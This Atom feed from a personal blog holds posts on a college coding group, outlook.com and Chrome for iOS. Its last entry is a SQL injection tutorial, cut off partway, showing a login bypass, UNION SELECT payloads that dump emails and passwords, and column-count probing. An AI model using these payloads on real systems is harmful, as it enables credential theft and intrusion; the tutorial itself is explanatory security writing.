<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"> 
 <title>CaptNemo.in</title>
 <link href="http://captnemo.in/atom.xml" rel="self"/>
 <link href="http://captnemo.in/"/>
 <updated>2013-04-27T06:48:23-07:00</updated>
 <id>http://captnemo.in/</id>
 <author>
   <name>Abhay Rana</name>
   <email>capt.n3m0@gmail.com</email>
 </author>

 
 <entry>
   <title>SDSLabs - My experiences</title>
   <link href="http://captnemo.in/blog/2012/12/27/sdslabs-personal-blog-post/"/>
   <updated>2012-12-27T00:00:00-08:00</updated>
   <id>http://capt.nemo/blog/2012/12/27/sdslabs-personal-blog-post</id>
   <content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;For the past two years, I have been involved in a student group in our campus called SDSLabs.
It has been the most fun two years of my life. I have acted as programmer, developer, manager,
monkey-coder, event-manager and all other roles one might expect in a startup. However, I have
never really blogged about any of this. Someone pointed it out recently to me, the truth is I
have been meaning to write this since a very long time, but its kind of hard to put down in
words. I'll try my best. This post is highly specific to iit roorkee (you have been warned).&lt;/p&gt;

&lt;h2&gt;Chronology Of Events / Timeline&lt;/h2&gt;

&lt;p&gt;Back in my first year, after joining something called SDS as a proficiency in the campus, I was learning PHP.
 With no-one to guide me, I had only attended a single talk by Shobhit Singh where he talked about dynamic
 websites. I was instantaneously hooked. I did something called lion, a twitter clone and it won 3rd prize
 in Srishti. It had follow, unfollow, messages, tweets, and groups (one feature which set it apart from twitter).&lt;/p&gt;

&lt;p&gt;The code was a mess of php and inline html, and I have never looked upon it since. I did a couple more projects by myself
, learning the in and outs of php (I was still to hear about ruby/python). At the end of my first year, I did a project
 management system under Kumar Shashank who taught me about MVC and the need of architecture in a software application.&lt;/p&gt;

&lt;p&gt;At the very end of the project, a group called &lt;a href=&quot;http://sdslabs.co/&quot;&gt;SDSLabs&lt;/a&gt; was formed. Along with a few people
Shobhit sir had found, we founded SDSLabs. Everyone in the group was passionate about building things.
And somehow, magically, I was in it. And there began the most beautiful chapter of my life..&lt;/p&gt;

&lt;h3&gt;Coding &amp;amp; Learning&lt;/h3&gt;

&lt;p&gt;After completing the PMS (Project Management System), I moved on to work on Filepanda, and then the entire framework
application for SDSLabs. All our applications are powered by a single API, which I wrote. Meanwhile, Harshil was working
 on DC++, and other awesome things. I met pranav sir, and was introduced to the thousand-quirks-of-css. It shifted to mint, and
then to ubuntu. I learned the ins-and-out of managing a linux system. Back then SDSLabs was limited to the small committee
room in Hobbies Club (with Shobhit Sir working tirelessly on funding for a better lab).&lt;/p&gt;

&lt;p&gt;And I met Ishan Sir. If you are reading this, thank you for teaching me how to learn. I had tons of night-outs with him
discussing things I barely remember now. I became a creator. I executed on tons of ideas. Most never saw the second day in
their lives, but I still have them with me, as memento of the past and what was to be. Ishan Sir was a gold-mine for learning.
Everything I could ever ask, and he'd hand over a resource. Some of my most productive learning days were spent with him.&lt;/p&gt;

&lt;h3&gt;Recruitments&lt;/h3&gt;

&lt;p&gt;After a single semester of work, we held our first recruitments. I wrote my
 &lt;a href=&quot;http://blog.sdslabs.co/2011/09/recruitment-experience/&quot;&gt;first blog post for the lab&lt;/a&gt; at the time noting
down my amazing reaction to the awesome people that had joined the lab.&lt;/p&gt;

&lt;p&gt;It is difficult to distil into words the awesome learning experience I had with all these people. Going to chapos, thinking
about how we could expand. What else awesome stuff we could do? One night hackathons, where we coded awesome stuff.&lt;/p&gt;

&lt;p&gt;And I started to work on &lt;a href=&quot;https://sdslabs.co.in/muzi/&quot;&gt;muzi&lt;/a&gt;, which was to be &lt;em&gt;my application&lt;/em&gt;. It stands at 811 commits today, with over
200 issues in our project management system.
 I went into the development knowing PHP and bits of AJAX, and came out a JQuery fanboy. Muzi has been my primary music player
  for almost an year now. It feels awesome to listen to music on a music player you coded. The initial version was
  based on Zune's design on Windows. We kept on improving it till it was exactly what we wanted. Today, people have listened to
  almost 1 lac songs on Muzi, and it feels awesome to have been behind something that is so widely used (within the campus).&lt;/p&gt;

&lt;h3&gt;Launch&lt;/h3&gt;

&lt;p&gt;The next semester involved our &lt;a href=&quot;http://blog.sdslabs.co/2011/11/launch-and-beyond&quot;&gt;actual launch (11-11-11)&lt;/a&gt; of all our applications.
We had all converted into semi-breathing coding machines cum zombies by that time though. Sleepless and exhausted, we did prevail,
and launched a few hours early. The Launch was appreciably recieved in the campus, although I had to leave for the
 &lt;a href=&quot;http://captnemo.in/blog/2011/11/20/cctc-blog/&quot;&gt;Deloitte CCTC Contest&lt;/a&gt; the very same day(which we won!).&lt;/p&gt;

&lt;p&gt;I ended up doing a rewrite of Codematics (codename CodeBot) in node for the launch. It has a geeky, command line interface
which was inspired by &lt;a href=&quot;http://goosh.org/&quot;&gt;goosh&lt;/a&gt; and &lt;a href=&quot;http://unix.xkcd.com&quot;&gt;xkcd's unix interface&lt;/a&gt;. Along with that, Muzi was
launched to huge appreciation as well.&lt;/p&gt;

&lt;h3&gt;Recruitments Again&lt;/h3&gt;

&lt;p&gt;This was the semester where our group actually expanded. Our count is almost 42 now, and nothing could
 make me more glad than actually being with all these people.&lt;/p&gt;

&lt;p&gt;I donned lots of hats teaching, guiding, coding, and managing people. Linux became one of my top skills, and I learnt a lot.
We shifted to Redmine for management, and I ended up doing a lot of server-administration related stuff (gitolite,redmine,vhosts
,apache,varnish etc).&lt;/p&gt;

&lt;p&gt;It has almost been a year since our last recruitment. We have been working of tons of things; some of which
will be launched soon. I took lectures on far apart topics from
&lt;a href=&quot;https://speakerdeck.com/captn3m0/ux-and-usability-designing&quot;&gt;&quot;Usability Designing&quot;&lt;/a&gt; to
 [&quot;Software Development 101&quot;].(https://speakerdeck.com/captn3m0/software-development-101) I mostly
worked on internal features, improving our API, and something called Presence. We also
&lt;a href=&quot;http://captnemo.in/blog/2012/05/23/phonegap-blog-post/&quot;&gt;participated&lt;/a&gt; in
&lt;a href=&quot;http://blog.sdslabs.co/2012/09/hacku&quot;&gt;two hackathons&lt;/a&gt;,
and we won both of them.&lt;/p&gt;

&lt;h2&gt;Where, now?&lt;/h2&gt;

&lt;p&gt;Our group is still nascent, and although I have not mentioned every project that the group (or even I) have
 done for fear of making this post too long. That itself speaks volumes about what we've done in a short
 span of two years. Our tagline reads &lt;em&gt;&quot;iDream. iCode. iInnovate&quot;&lt;/em&gt;. I wish for the group to continue on that
  path. Develop things that make life easier; for everyone around the world.&lt;/p&gt;

&lt;h2&gt;People&lt;/h2&gt;

&lt;p&gt;Throughout this journey, there have been lots of people, without whom this blog post would never have been written.
 You all know who you are. Keep being awesome.&lt;/p&gt;

&lt;h2&gt;Skills&lt;/h2&gt;

&lt;p&gt;I used to call myself a programmer, but now I'm in a more management-esque role in SDSLabs. Its my share of the work to manage projects,
and track progress. That does not mean that I've given up coding, and I still do code a lot for our internal projects. I have also become
somewhat of a UX enthusiast, taking care of most ux work done in lab. I have also found myself becoming an avid learner, and have Ishan
Sir to thank for that.&lt;/p&gt;

&lt;h2&gt;Anecdotes &amp;amp; Stories&lt;/h2&gt;

&lt;p&gt;This post already reads more like a things-i-did-at-sdslabs, which is something I was hoping to avoid, instead of why-i-love-sdslabs, which is what i wanted. So I'm gonna stick a few moments and events that stand out to me...&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We have a board with three defining people on it: Steve Jobs, Dennis Ritchie, and Linus Torvalds.&lt;/li&gt;
&lt;li&gt;We have had mind-blowing pizza chapos. So many pizzas that they were brought in 2 rickshaws from dominos. Yup.&lt;/li&gt;
&lt;li&gt;I am known as the bot in lab. Mostly because of my highly rational unemotional responses, and other things. There is another person, who is trying to get that title, though.&lt;/li&gt;
&lt;li&gt;I am famously known for turning down &quot;writing a letter that could have fetched us lots of funding&quot; for coding instead. (In my defense, there were other people who could have handled it better than me, and we didn't need it badly at the time)&lt;/li&gt;
&lt;li&gt;Almost every group in the campus describes their group as a second home. But in our case it is partially true. We spend almost all our free time in lab. I spent close to 500 hours in the lab in this semester alone. Where does this all this time go? Talking, discussions, development, teaching, lectures among other things.&lt;/li&gt;
&lt;li&gt;SDSLabs feels more of a startup than an actual student group to me (and Shashank as well). We have to fight for our funding, manage people, and develop products.&lt;/li&gt;
&lt;li&gt;I have done way too much copy-editing to be called &quot;just a developer&quot; anymore. I have spent hundreds of hours fighting Pinta and its numerous bugs.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;It has been a great experience working with all these people. I can just hope that the group keeps moving to better
innovation, and grander ideas in the future. We are recruiting from first year in upcoming January. If SDSLabs feels like a place you'd
enjoy, just come over and take our test. It changed my life, maybe it will change yours too.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Why I'm leaving outlook.com</title>
   <link href="http://captnemo.in/blog/2012/12/22/why-i-m-moving-from-outlook/"/>
   <updated>2012-12-22T00:00:00-08:00</updated>
   <id>http://capt.nemo/blog/2012/12/22/why-i-m-moving-from-outlook</id>
   <content type="html">&lt;p&gt;I'd been one of the most eager users of the new outlook.com redesign.
I'm a real fan of Metro (sorry, I must call it the New Windows 8 Design),
 and think that the correct typgraphy mixed with the correct design language should help the users in a great way forward.&lt;/p&gt;

&lt;p&gt;Unfortunately, outlook.com is not there yet. The application was made to resemble the Windows Mail app in Windows 8, with 3 tiles per screen. On Windows, the application works in 1/2/3 width modes differently. It changes its navigational strategy to allow you to browse your emails easily. While this could have been easily accomplished using responsive design techniques on the web, outlook does not use it and loses sorely needed funcionality.&lt;/p&gt;

&lt;p&gt;The typography of the app is horribly broken, especially in Linux. The font of choice for the app is Calibri, which is missing in Linux, and as such, uses the default system font from the browser. The font sizes are inconsistent, and the application shortcuts are horrible, even though I am using GMail shorcuts option.&lt;/p&gt;

&lt;p&gt;The &quot;Insert Link&quot; option is horribly designed. It does not respond to enter keys, and has no place to add &quot;Text&quot; for the link either.&lt;/p&gt;

&lt;p&gt;There is no mechanism for quoting messages properly at all. There is no such thing like Conversation View, and I have to waste large amounts of time just to figure out what was added new in the reply to my own mail. As such this becomes largely cumbersome to keep up with.&lt;/p&gt;

&lt;p&gt;The archive option from GMail (which keeps my inbox clean) is notably missing as well. (Update: This was added later, with the
ability to use archive to move to any custom folder)&lt;/p&gt;

&lt;p&gt;The &quot;Active View&quot;, which seems to be a quick preview mode, only works on Windows, because it uses Silverlight. I tried using
Moonlight (Silverlight's OSS clone for Linux), but it seems that Active View uses new Silverlight features. Hence, I can
only download pics from Outlook, and not browse them online (which is a huge pain-point for me).&lt;/p&gt;

&lt;p&gt;/Rant&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Things I expect in a Chrome/iOS update</title>
   <link href="http://captnemo.in/blog/2012/07/14/chrome-ios/"/>
   <updated>2012-07-14T00:00:00-07:00</updated>
   <id>http://capt.nemo/blog/2012/07/14/chrome-ios</id>
   <content type="html">&lt;p&gt;I've changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.&lt;/p&gt;

&lt;h2&gt;Why I love Chrome&lt;/h2&gt;

&lt;p&gt;Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don't own a Mac, so I can't comment against how Safari/iCloud does it, but it works well enough for me.&lt;/li&gt;
&lt;li&gt;All my desktop bookmarks (and bookmarklets) are available and functioning instantly.&lt;/li&gt;
&lt;li&gt;Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.&lt;/li&gt;
&lt;li&gt;Incognito Mode (I previously used Dolphin in private mode, but this is far better).&lt;/li&gt;
&lt;li&gt;Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. &lt;a href=&quot;/img/bookmark_compare.png&quot;&gt;See Image for Comparision&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tab Switching is brilliant. It seems to be inspired/copied straight from &lt;a href=&quot;http://itunes.apple.com/us/app/paper-by-fiftythree/id506003812?mt=8&quot;&gt;Paper&lt;/a&gt;, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I've read people complaining about this, but it helps me browse on the ipad one-handed.&lt;/li&gt;
&lt;li&gt;It feels fast, especially after continous use. I don't know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well.  I've ditched Facebook App for a shortcut icon to &lt;code&gt;touch.facebook.com&lt;/code&gt; as a result.&lt;/p&gt;

&lt;h2&gt;Things I want&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Support for &lt;strong&gt;configurable search engines&lt;/strong&gt;. I use them extensively (for eg &lt;strong&gt;d&lt;/strong&gt;uckduckgo, google &lt;strong&gt;l&lt;/strong&gt;ucky search, &lt;strong&gt;a&lt;/strong&gt;mazon, &lt;strong&gt;e&lt;/strong&gt;bay, &lt;strong&gt;g&lt;/strong&gt;it&lt;strong&gt;h&lt;/strong&gt;ub, &lt;strong&gt;s&lt;/strong&gt;tack&lt;strong&gt;o&lt;/strong&gt;verflow and even google &lt;strong&gt;m&lt;/strong&gt;obile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find in Page&lt;/strong&gt;. This is a no-brainer. &lt;strong&gt;Edit&lt;/strong&gt;: This is available via &lt;a href=&quot;http://www.addictivetips.com/ios/great-cydia-tweaks-for-chrome-iphone-ipad/&quot;&gt;Chrome Customizer&lt;/a&gt; in Cydia for a jailbroken device.&lt;/li&gt;
&lt;li&gt;Ability to &lt;strong&gt;turn off images/javascript&lt;/strong&gt;) (Content Settings). I'm not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).&lt;/li&gt;
&lt;li&gt;Support for emailing an entire page (rendered).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UserScript support&lt;/strong&gt;. I don't know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Readability/iReader&lt;/strong&gt; like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. &lt;strong&gt;Update&lt;/strong&gt;: ChromeCustomizer can do this via settings menu (see below).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Better access to bookmarks/bookmarklets&lt;/strong&gt;. At least show me the mobile bookmarks so I can keep them separate.&lt;/li&gt;
&lt;li&gt;Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.&lt;/li&gt;
&lt;li&gt;App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as &lt;strong&gt;&quot;Chrome Apps&quot;&lt;/strong&gt; against &quot;Extensions&quot;, which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Better history&lt;/strong&gt; support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you're at it).&lt;/li&gt;
&lt;li&gt;Mailto support (for gmail etc). Don't know if possible, but would be nice to have.&lt;/li&gt;
&lt;li&gt;Selection Mailing. Just let me select and mail some html.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Handle pdfs&lt;/strong&gt; better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the &quot;Open In iBooks&quot; link. Don't see this happening though. (Update: This was fixed in a Chrome Update)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webintents&lt;/strong&gt; support would be nice to have (via something other than chrome Webstore, I Guess)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CloudPrint&lt;/strong&gt; support. I don't use this, but I am assuming there are people who do.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FullScreen&lt;/strong&gt; support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome's faster tab switching should help it out with some of the Full Screen issues. (&lt;strong&gt;Edit&lt;/strong&gt;: This is available via a three finger tap if you install &lt;a href=&quot;http://www.idownloadblog.com/2012/07/01/chromizer/&quot;&gt;Chromizer&lt;/a&gt; from Cydia's ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;There is also a &lt;a href=&quot;http://www.idownloadblog.com/2012/07/01/chromeurl/&quot;&gt;ChromeURL&lt;/a&gt; tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).&lt;/p&gt;

&lt;p&gt;Another one called &lt;a href=&quot;http://modmyi.com/content/8108-chromecustomization-adds-some-new-stuff-google-chrome.html&quot;&gt;ChromeCustomizer&lt;/a&gt; offers the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add one bookmarklet to the settings menu. I'm using &lt;a href=&quot;http://readable.tastefulwords.com/&quot;&gt;Readable&lt;/a&gt; at present.&lt;/li&gt;
&lt;li&gt;Adds a &lt;a href=&quot;https://github.com/rpetrich/ChromeCustomizer/issues/1&quot;&gt;broken&lt;/a&gt; fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer's 3 finger tap for fullscreen.&lt;/li&gt;
&lt;li&gt;Adds a Find in Page feature.&lt;/li&gt;
&lt;li&gt;Adds some filtering for ads/tracking websites.&lt;/li&gt;
&lt;li&gt;Adds an option to change Chrome tab switching mode (iPhone vs iPad).&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;See &lt;a href=&quot;http://www.addictivetips.com/ios/great-cydia-tweaks-for-chrome-iphone-ipad/&quot;&gt;this blog post&lt;/a&gt; for some more tweaks available on cydia.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Nested SQL Injections</title>
   <link href="http://captnemo.in/blog/2012/06/09/nested-sql-injections/"/>
   <updated>2012-06-09T00:00:00-07:00</updated>
   <id>http://capt.nemo/blog/2012/06/09/nested-sql-injections</id>
   <content type="html">&lt;p&gt;I recently did something along this line, and this technique is really cool. (I prefer to call it &quot;inception&quot; injection). Its pretty easy once you figure it out, so here it goes.&lt;/p&gt;

&lt;p&gt;If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a &quot;input variable&quot; into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).&lt;/p&gt;

&lt;h2&gt;Query 1:&lt;/h2&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;$email&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;$pass&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This query is usually accompanied with:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Query 2:&lt;/h2&gt;

&lt;p&gt;Assuming something like a profile page:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;{$_SESSION[&amp;#39;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;]}&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;Injection&lt;/h1&gt;

&lt;p&gt;Injecting the first query (basic)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;user@email.com&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.&lt;/p&gt;

&lt;p&gt;Thinking backwards, we could create a custom query for user_details:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This would show the details of the first user in the profile page. Let's think a bit larger:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Usually, this won't work (different number of columns in results). You'd have to use ORDER BY to guess the number of columns. Writing only the &lt;code&gt;UNION&lt;/code&gt; part now:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- Gives Error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So we realize that user_details has 3 columns. Coming back, we could do:&lt;/p&gt;

